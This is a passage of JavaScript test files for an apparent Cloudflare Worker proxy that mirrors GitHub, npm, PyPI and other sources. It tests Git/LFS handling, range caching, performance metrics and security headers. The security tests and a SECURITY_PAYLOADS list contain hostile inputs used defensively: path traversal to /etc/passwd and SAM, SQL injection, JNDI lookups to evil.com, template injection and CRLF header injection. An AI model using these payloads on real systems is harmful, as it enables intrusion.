Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
});
================================================
FILE: test/features/git-lfs.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Git LFS Protocol Integration', () => {
it('should handle LFS info/lfs requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/lfs';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)'
}
});
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle LFS batch API requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/batch';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/vnd.git-lfs+json',
Accept: 'application/vnd.git-lfs+json',
'User-Agent': 'git-lfs/3.0.0'
},
body: JSON.stringify({
operation: 'download',
objects: [
{
oid: 'a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd',
size: 1024
}
]
})
});
expect([200, 301, 302, 400, 403, 404]).toContain(response.status);
});
it('should handle LFS object download requests', async () => {
const testUrl =
'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0',
Accept: 'application/octet-stream'
}
});
expect([200, 301, 302, 403, 404]).toContain(response.status);
});
it('should preserve LFS-specific headers', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/objects/batch';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'User-Agent': 'git-lfs/3.0.0',
Accept: 'application/vnd.git-lfs+json',
'Content-Type': 'application/vnd.git-lfs+json'
},
body: '{}'
});
// Should not reject LFS-specific headers
expect(response.status).not.toBe(400);
});
it('should skip caching for LFS requests', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/lfs';
// First request
const response1 = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0'
}
});
// Second request - should not be cached
const response2 = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0'
}
});
// Both requests should go to origin (no cache hit)
const metrics1 = response1.headers.get('X-Performance-Metrics');
const metrics2 = response2.headers.get('X-Performance-Metrics');
// Verify that neither indicates a cache hit
if (metrics1 && metrics2) {
expect(metrics1).not.toContain('cache_hit');
expect(metrics2).not.toContain('cache_hit');
}
});
});
================================================
FILE: test/features/git.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Git Protocol Integration', () => {
it('should handle Git info/refs requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle Git upload-pack requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-upload-pack-request',
'User-Agent': 'git/2.34.1'
},
body: '0000' // Minimal Git protocol data
});
expect([200, 301, 302, 400, 404]).toContain(response.status);
});
it('should preserve Git-specific headers', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/refs';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1',
'Git-Protocol': 'version=2'
}
});
// Should not reject Git-specific headers
expect(response.status).not.toBe(400);
});
});
================================================
FILE: test/features/performance.test.js
================================================
import { beforeEach, describe, expect, it, vi } from 'vitest';
// Mock PerformanceMonitor class for testing
class MockPerformanceMonitor {
constructor() {
this.startTime = Date.now();
this.marks = new Map();
}
/**
* Mark a performance measurement
* @param {string} name - Name of the mark
*/
mark(name) {
if (this.marks.has(name)) {
console.warn(`Mark with name ${name} already exists.`);
}
this.marks.set(name, Date.now() - this.startTime);
}
getMetrics() {
return Object.fromEntries(this.marks.entries());
}
}
describe('Performance Monitoring', () => {
/** @type {MockPerformanceMonitor} */
let monitor;
beforeEach(() => {
monitor = new MockPerformanceMonitor();
});
describe('PerformanceMonitor Class', () => {
it('should initialize with start time', () => {
expect(monitor.startTime).toBeDefined();
expect(typeof monitor.startTime).toBe('number');
});
it('should create timing marks', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('test-mark');
expect(typeof metrics['test-mark']).toBe('number');
});
it('should handle multiple marks', () => {
monitor.mark('mark1');
monitor.mark('mark2');
monitor.mark('mark3');
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(3);
expect(metrics).toHaveProperty('mark1');
expect(metrics).toHaveProperty('mark2');
expect(metrics).toHaveProperty('mark3');
});
it('should warn on duplicate mark names', () => {
// Mock console.warn for this test
const originalWarn = console.warn;
const mockWarn = vi.fn();
console.warn = mockWarn;
monitor.mark('duplicate');
monitor.mark('duplicate');
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
// Restore original console.warn
console.warn = originalWarn;
});
it('should return metrics as plain object', () => {
monitor.mark('test');
const metrics = monitor.getMetrics();
expect(metrics).toBeTypeOf('object');
expect(Array.isArray(metrics)).toBe(false);
});
it('should track elapsed time correctly', async () => {
monitor.mark('start');
// Wait a small amount of time
await new Promise(resolve => setTimeout(resolve, 10));
monitor.mark('end');
const metrics = monitor.getMetrics();
expect(metrics.end).toBeGreaterThan(metrics.start);
});
});
describe('Performance Metrics Validation', () => {
it('should produce serializable metrics', () => {
monitor.mark('request-start');
monitor.mark('proxy-start');
monitor.mark('proxy-end');
monitor.mark('request-end');
const metrics = monitor.getMetrics();
expect(() => JSON.stringify(metrics)).not.toThrow();
});
it('should have reasonable timing values', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
const timing = metrics['test-mark'];
// Should be a positive number and reasonable (less than 1 second for this test)
expect(timing).toBeGreaterThanOrEqual(0);
expect(timing).toBeLessThan(1000);
});
it('should maintain chronological order', async () => {
monitor.mark('first');
await new Promise(resolve => setTimeout(resolve, 5));
monitor.mark('second');
await new Promise(resolve => setTimeout(resolve, 5));
monitor.mark('third');
const metrics = monitor.getMetrics();
expect(metrics.first).toBeLessThan(metrics.second);
expect(metrics.second).toBeLessThan(metrics.third);
});
});
describe('Common Performance Scenarios', () => {
it('should track request lifecycle', () => {
// Simulate typical request flow
monitor.mark('request-received');
monitor.mark('validation-complete');
monitor.mark('proxy-start');
monitor.mark('proxy-response');
monitor.mark('response-sent');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-received');
expect(metrics).toHaveProperty('validation-complete');
expect(metrics).toHaveProperty('proxy-start');
expect(metrics).toHaveProperty('proxy-response');
expect(metrics).toHaveProperty('response-sent');
});
it('should track cache operations', () => {
monitor.mark('cache-check-start');
monitor.mark('cache-miss');
monitor.mark('upstream-request');
monitor.mark('cache-store');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('cache-check-start');
expect(metrics).toHaveProperty('cache-miss');
expect(metrics).toHaveProperty('upstream-request');
expect(metrics).toHaveProperty('cache-store');
});
it('should track error scenarios', () => {
monitor.mark('request-start');
monitor.mark('error-occurred');
monitor.mark('error-handled');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-start');
expect(metrics).toHaveProperty('error-occurred');
expect(metrics).toHaveProperty('error-handled');
});
});
describe('Performance Thresholds', () => {
it('should identify slow operations', () => {
monitor.mark('operation-start');
// Simulate slow operation
const slowTiming = 5000; // 5 seconds
monitor.marks.set('operation-end', slowTiming);
const metrics = monitor.getMetrics();
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
// Should identify as slow (> 1 second)
expect(operationTime).toBeGreaterThan(1000);
});
it('should identify fast operations', () => {
monitor.mark('fast-operation');
const metrics = monitor.getMetrics();
const timing = metrics['fast-operation'];
// Should be fast (< 100ms for this test)
expect(timing).toBeLessThan(100);
});
});
describe('Memory and Resource Usage', () => {
it('should not leak memory with many marks', () => {
const initialSize = monitor.marks.size;
// Add many marks
for (let i = 0; i < 1000; i++) {
monitor.mark(`mark-${i}`);
}
expect(monitor.marks.size).toBe(initialSize + 1000);
// Clear marks (if such method existed)
monitor.marks.clear();
expect(monitor.marks.size).toBe(0);
});
it('should handle concurrent mark operations', () => {
const promises = [];
for (let i = 0; i < 10; i++) {
promises.push(
new Promise((/** @type {(value?: unknown) => void} */ resolve) => {
setTimeout(() => {
monitor.mark(`concurrent-${i}`);
resolve();
}, Math.random() * 10);
})
);
}
return Promise.all(promises).then(() => {
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(10);
});
});
});
});
================================================
FILE: test/features/range-cache.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
/**
* Tests for Range Request Caching Strategy
*
* This test suite validates the new caching strategy that:
* 1. Only caches 200 responses (not 206)
* 2. Handles Range requests by caching full content first
* 3. Lets Cloudflare edge serve 206 responses from cached 200 content
* 4. Avoids compression for media files to ensure proper Range support
*/
describe('Range Request Caching Strategy', () => {
describe('Cache Behavior for Range Requests', () => {
it('should not attempt to cache 206 responses', async () => {
const testUrl = 'https://example.com/gh/test/repo/sample.pdf';
// Make a range request that might return 206
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// The response should either be 200 (full content) or 206 (partial)
// But we should never get a cache error from trying to cache 206
expect([200, 206, 404]).toContain(response.status);
// Check performance metrics for any cache-related errors
const metrics = response.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
// Should not contain any cache put errors
const errorKeys = Object.keys(parsedMetrics).filter(
key => (key.includes('error') || key.includes('fail')) && key !== 'client_error'
);
expect(errorKeys).toHaveLength(0);
}
});
it('should cache full content when receiving 200 response', async () => {
const testUrl = 'https://example.com/gh/test/repo/document.pdf';
// First request - should cache the full content
const firstResponse = await SELF.fetch(testUrl);
if (firstResponse.status === 200) {
// Verify caching headers are set correctly
expect(firstResponse.headers.get('Cache-Control')).toContain('public');
expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes');
// Second request should hit cache
const secondResponse = await SELF.fetch(testUrl);
expect(secondResponse.status).toBe(200);
// Performance metrics should show cache hit
const metrics = secondResponse.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
expect(parsedMetrics).toHaveProperty('cache_hit');
}
}
});
it('should handle range requests after caching full content', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-file.bin';
// First, cache the full content
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
// Now make a range request - should leverage cached content
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=100-199'
}
});
// Should either return the requested range or full content
expect([200, 206]).toContain(rangeResponse.status);
if (rangeResponse.status === 206) {
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
expect(rangeResponse.headers.get('Content-Length')).toBe('100');
}
}
});
});
describe('Media File Handling', () => {
it('should avoid compression for media files', async () => {
const mediaTestCases = [
{ url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' },
{ url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' },
{ url: 'https://example.com/gh/test/repo/image.png', type: 'image' },
{ url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' }
];
for (const testCase of mediaTestCases) {
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
if (response.status === 200) {
// Media files should have proper range support headers
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
// Should not be compressed to ensure proper byte-range handling
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null]).toContain(contentEncoding);
}
}
}
});
it('should send identity encoding for range requests on media files', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-video.mp4';
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// For media files with range requests, should not use compression
if ([200, 206].includes(response.status)) {
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null]).toContain(contentEncoding);
}
}
});
});
describe('Cache Key Management', () => {
it('should use correct cache keys for range vs full requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/test-document.pdf';
// Make a range request first
const rangeResponse1 = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-512'
}
});
// Make a full request
const fullResponse = await SELF.fetch(testUrl);
// Make another range request
const rangeResponse2 = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=512-1023'
}
});
// All requests should succeed
[rangeResponse1, fullResponse, rangeResponse2].forEach(response => {
expect([200, 206, 404]).toContain(response.status);
});
// Full response should have caching headers
if (fullResponse.status === 200) {
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
}
});
it('should handle Content-Length header properly', async () => {
const testUrl = 'https://example.com/gh/test/repo/sized-file.bin';
const response = await SELF.fetch(testUrl);
if (response.status === 200) {
// Should have Content-Length for proper range support
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
expect(parseInt(contentLength, 10)).toBeGreaterThan(0);
}
// Should have Accept-Ranges header
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
}
});
});
describe('Performance Metrics', () => {
it('should track cache performance for range requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat';
// First request
const response1 = await SELF.fetch(testUrl);
const metrics1 = response1.headers.get('X-Performance-Metrics');
if (response1.status === 200 && metrics1) {
const parsed1 = JSON.parse(metrics1);
expect(parsed1).toHaveProperty('start');
expect(parsed1).toHaveProperty('complete');
}
// Second request (should hit cache)
const response2 = await SELF.fetch(testUrl);
const metrics2 = response2.headers.get('X-Performance-Metrics');
if (response2.status === 200 && metrics2) {
const parsed2 = JSON.parse(metrics2);
expect(parsed2).toHaveProperty('cache_hit');
}
});
it('should track range-specific cache behavior', async () => {
const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin';
// Cache full content first
await SELF.fetch(testUrl);
// Now make a range request
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
if (metrics && [200, 206].includes(rangeResponse.status)) {
const parsed = JSON.parse(metrics);
// Should have timing information
expect(parsed).toHaveProperty('start');
// May have cache-related metrics
const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache'));
// At least one cache-related metric should be present
expect(cacheKeys.length).toBeGreaterThanOrEqual(0);
}
});
});
});
================================================
FILE: test/features/security.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Security Features', () => {
describe('Security Headers', () => {
it('should include Strict-Transport-Security header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const hsts = response.headers.get('Strict-Transport-Security');
expect(hsts).toBeTruthy();
expect(hsts).toContain('max-age=');
expect(hsts).toContain('includeSubDomains');
expect(hsts).toContain('preload');
});
it('should include X-Frame-Options header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('should include X-XSS-Protection header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
});
it('should include Content-Security-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const csp = response.headers.get('Content-Security-Policy');
expect(csp).toBeTruthy();
expect(csp).toContain("default-src 'none'");
});
it('should include Referrer-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
it('should include Permissions-Policy header', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const permissionsPolicy = response.headers.get('Permissions-Policy');
expect(permissionsPolicy).toBeTruthy();
expect(permissionsPolicy).toContain('interest-cohort=()');
});
});
describe('HTTP Method Restrictions', () => {
it('should reject PATCH method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'PATCH'
});
expect(response.status).toBe(405);
});
it('should reject PUT method for non-Git requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
it('should reject DELETE method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
it('should reject OPTIONS method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS'
});
expect(response.status).toBe(405);
});
});
describe('Path Validation', () => {
it('should reject paths with directory traversal attempts', async () => {
const maliciousPaths = [
'/gh/../../../etc/passwd',
'/gh/user/repo/../../../sensitive',
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
];
for (const path of maliciousPaths) {
const response = await SELF.fetch(`https://example.com${path}`, {
method: 'HEAD',
redirect: 'manual' // Don't follow redirects
});
// Some runtimes normalize plain `..` segments before the Worker sees them.
// Encoded traversal should still be rejected.
if (/%[0-9a-fA-F]{2}/.test(path)) {
expect(response.status).toBe(400);
} else {
expect(response.status).not.toBe(500);
}
}
}, 45000);
it('should reject extremely long paths', async () => {
const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should handle URL encoding safely', async () => {
const encodedPaths = [
'/gh/user/repo%20with%20spaces',
'/gh/user/repo%2Ffile.txt',
'/gh/user%40domain/repo'
];
for (const path of encodedPaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should handle encoded paths without security issues
expect(response.status).not.toBe(500);
}
}, 30000);
});
describe('Input Sanitization', () => {
it('should handle special characters in paths', async () => {
const specialPaths = [
'/gh/user/repo',
"/gh/user/repo'; DROP TABLE users; --",
'/gh/user/repo${jndi:ldap://evil.com}',
'/gh/user/repo{{7*7}}'
];
for (const path of specialPaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should safely handle special characters
expect(response.status).not.toBe(500);
}
}, 30000);
it('should handle Unicode characters safely', async () => {
const unicodePaths = [
'/gh/所有者/存储库/文件.txt',
'/gh/user/repo/файл.txt',
'/gh/user/repo/ファイル.txt'
];
for (const path of unicodePaths) {
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
// Should handle Unicode without issues
expect(response.status).not.toBe(500);
}
}, 20000);
});
describe('Request Header Validation', () => {
it('should handle malicious User-Agent headers', async () => {
const maliciousUserAgents = [
'',
'Mozilla/5.0 ${jndi:ldap://evil.com}'
];
for (const userAgent of maliciousUserAgents) {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'HEAD',
headers: {
'User-Agent': userAgent
}
});
// Should handle malicious user agents safely
expect(response.status).not.toBe(500);
}
}, 20000);
it('should handle header injection attempts', async () => {
// Malformed headers should be rejected before the request is dispatched.
expect(() => {
new Request('https://example.com/gh/test/repo', {
headers: {
'X-Test': 'value\r\nX-Injected: malicious'
}
});
}).toThrow(/[Ii]nvalid|[Hh]eader/);
});
});
describe('Rate Limiting and DoS Protection', () => {
it('should handle concurrent requests gracefully', async () => {
const requests = Array(10)
.fill(null)
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
const responses = await Promise.all(requests);
// All requests should be handled without errors
responses.forEach((/** @type {Response} */ response) => {
expect(response.status).not.toBe(500);
});
}, 30000);
it('should timeout long-running requests', async () => {
// This test would need to be implemented based on actual timeout behavior
// For now, we just verify the request doesn't hang indefinitely
const startTime = Date.now();
try {
await SELF.fetch('https://example.com/gh/test/very-large-file', {
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
});
} catch {
// Request should timeout or complete within reasonable time
const elapsed = Date.now() - startTime;
expect(elapsed).toBeLessThan(40000); // 40 seconds max
}
}, 45000);
});
describe('Error Information Disclosure', () => {
it('should not expose internal error details', async () => {
const response = await SELF.fetch('https://example.com/invalid-platform/test', {
redirect: 'manual' // Don't follow redirects
});
// Should return error or redirect
expect([400, 404, 302, 301]).toContain(response.status);
if (response.status >= 400) {
const body = await response.text();
// Should not expose internal paths, stack traces, or sensitive info
expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths
expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
}
});
it('should provide generic error messages', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'TRACE',
redirect: 'manual'
});
// Should return error or redirect
expect([400, 404, 302, 301, 405, 501]).toContain(response.status);
});
});
describe('CORS Security', () => {
it('should handle CORS preflight requests securely', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://evil.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
});
// Should either reject OPTIONS or handle CORS securely
if (response.status === 200) {
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
// Should not blindly allow all origins for sensitive operations
expect(allowOrigin).not.toBe('https://evil.com');
}
});
});
describe('Content Type Security', () => {
it('should not execute uploaded content', async () => {
// Test that the service doesn't execute or interpret uploaded content
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
// Should serve content with appropriate headers, not execute it
const contentType = response.headers.get('Content-Type');
if (contentType) {
expect(contentType).not.toContain('text/html');
expect(contentType).not.toContain('application/javascript');
}
});
});
});
================================================
FILE: test/fixtures/responses.js
================================================
/**
* Mock HTTP response fixtures for testing
* Organized by platform with realistic response data
*/
export const MOCK_RESPONSES = {
github: {
packageJson: {
status: 200,
headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
body: JSON.stringify({
name: 'vscode',
version: '1.85.0',
description: 'Visual Studio Code'
})
},
readme: {
status: 200,
headers: { 'Content-Type': 'text/plain; charset=utf-8' },
body: '# Visual Studio Code\n\nCode editing. Redefined.'
},
gitInfoRefs: {
status: 200,
headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
}
},
npm: {
packageMetadata: {
status: 200,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
name: 'react',
version: '18.2.0',
description: 'React is a JavaScript library for building user interfaces.'
})
}
},
pypi: {
simpleIndex: {
status: 200,
headers: { 'Content-Type': 'text/html' },
body: 'Links for requests '
}
},
errors: {
notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
unauthorized: {
status: 401,
headers: { 'Content-Type': 'text/plain' },
body: 'Unauthorized'
},
internalServerError: {
status: 500,
headers: { 'Content-Type': 'text/plain' },
body: 'Internal Server Error'
}
}
};
/**
* Create a Response object from mock data
* @param {{body: string, status: number, headers?: Record}} mockData - Mock response data
* @returns {Response} Response object
*/
export function createMockResponse(mockData) {
return new Response(mockData.body, {
status: mockData.status,
headers: mockData.headers
});
}
================================================
FILE: test/helpers/assertions.js
================================================
/**
* Custom assertions and validation helpers
*/
/**
* Validate response headers for security
* @param {Response} response - Response to validate
* @returns {{passed: boolean, missing: string[], present: string[]}} Validation results
*/
export function validateSecurityHeaders(response) {
const requiredHeaders = [
'Strict-Transport-Security',
'X-Frame-Options',
'X-XSS-Protection',
'Content-Security-Policy',
'Referrer-Policy'
];
const results = {
passed: true,
/** @type {string[]} */
missing: [],
/** @type {string[]} */
present: []
};
requiredHeaders.forEach(header => {
if (response.headers.has(header)) {
results.present.push(header);
} else {
results.missing.push(header);
results.passed = false;
}
});
return results;
}
/**
* Assert that a URL is valid
* @param {string} url - URL to validate
* @returns {boolean} True if valid
*/
export function isValidUrl(url) {
try {
new URL(url);
return true;
} catch {
return false;
}
}
/**
* Assert that response has security headers
* @param {Response} response - Response to check
* @returns {boolean} True if has all security headers
*/
export function hasSecurityHeaders(response) {
const validation = validateSecurityHeaders(response);
return validation.passed;
}
================================================
FILE: test/helpers/generators.js
================================================
/**
* Test data generators
*/
/**
* Generate test URLs for different platforms
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
* @param {string} path - Resource path
* @returns {string} Complete test URL
*/
export function generateTestUrl(platform, path) {
const baseUrl = 'https://example.com';
return `${baseUrl}/${platform}/${path}`;
}
/**
* Common test URLs for different platforms
*/
export const TEST_URLS = {
github: {
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
git: 'https://example.com/gh/microsoft/vscode.git'
},
gitlab: {
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
git: 'https://example.com/gl/gitlab-org/gitlab.git'
},
huggingface: {
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
},
npm: {
package: 'https://example.com/npm/react',
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
scoped: 'https://example.com/npm/@types/node',
npmPackage: 'https://example.com/npm/npm',
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
},
pypi: {
simple: 'https://example.com/pypi/simple/requests/',
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
},
conda: {
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
}
};
/**
* Security test payloads
*/
export const SECURITY_PAYLOADS = {
xss: [
'',
`${'javascript'}:alert(1)`,
'">',
"';alert(1);//"
],
pathTraversal: [
'../../../etc/passwd',
'..%2F..%2F..%2Fetc%2Fpasswd',
'..\\..\\..\\windows\\system32\\config\\sam',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
],
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
headerInjection: [
'value\r\nX-Injected: malicious',
'value\nX-Injected: malicious',
'value\r\n\r\n'
]
};
/**
* Test data generators
*/
export const TestDataGenerator = {
/**
* Generate random string
* @param {number} length - String length
* @returns {string} Random string
*/
randomString(length = 10) {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
},
/**
* Generate random GitHub repository path
* @returns {string} Repository path
*/
githubRepo() {
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
const user = users[Math.floor(Math.random() * users.length)];
const repo = repos[Math.floor(Math.random() * repos.length)];
return `${user}/${repo}`;
},
/**
* Generate random file path
* @returns {string} File path
*/
filePath() {
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
const dir = dirs[Math.floor(Math.random() * dirs.length)];
const file = files[Math.floor(Math.random() * files.length)];
return `${dir}/${file}`;
}
};
================================================
FILE: test/helpers/index.js
================================================
/**
* Test helpers - centralized exports
*/
// Re-export all utilities
export * from './assertions.js';
export * from './generators.js';
export * from './mocks.js';
/**
* Performance test utilities
*/
export class PerformanceTestHelper {
constructor() {
/** @type {Array<{name: string, duration: number, timestamp: number}>} */
this.measurements = [];
}
/**
* Measure execution time of an async function
* @param {() => Promise} fn - Async function to measure
* @param {string} name - Measurement name
* @returns {Promise} Function result
*/
async measure(fn, name = 'operation') {
const start = performance.now();
const result = await fn();
const end = performance.now();
this.measurements.push({
name,
duration: end - start,
timestamp: Date.now()
});
return result;
}
/**
* Get all measurements
* @returns {Array<{name: string, duration: number, timestamp: number}>} Array of measurements
*/
getMeasurements() {
return [...this.measurements];
}
/**
* Get average duration for a specific measurement name
* @param {string} name - Measurement name
* @returns {number} Average duration in milliseconds
*/
getAverageDuration(name) {
const filtered = this.measurements.filter(m => m.name === name);
if (filtered.length === 0) {
return 0;
}
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
return total / filtered.length;
}
/**
* Clear all measurements
*/
clear() {
this.measurements = [];
}
}
/**
* Test timeout helper
* @param {number} ms - Timeout in milliseconds
* @returns {Promise} Promise that rejects after timeout
*/
export function timeout(ms) {
return new Promise((_, reject) => {
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
});
}
/**
* Wait for a specified amount of time
* @param {number} ms - Time to wait in milliseconds
* @returns {Promise} Promise that resolves after the specified time
*/
export function wait(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
================================================
FILE: test/helpers/mocks.js
================================================
/**
* Mock creation utilities for tests
*/
/**
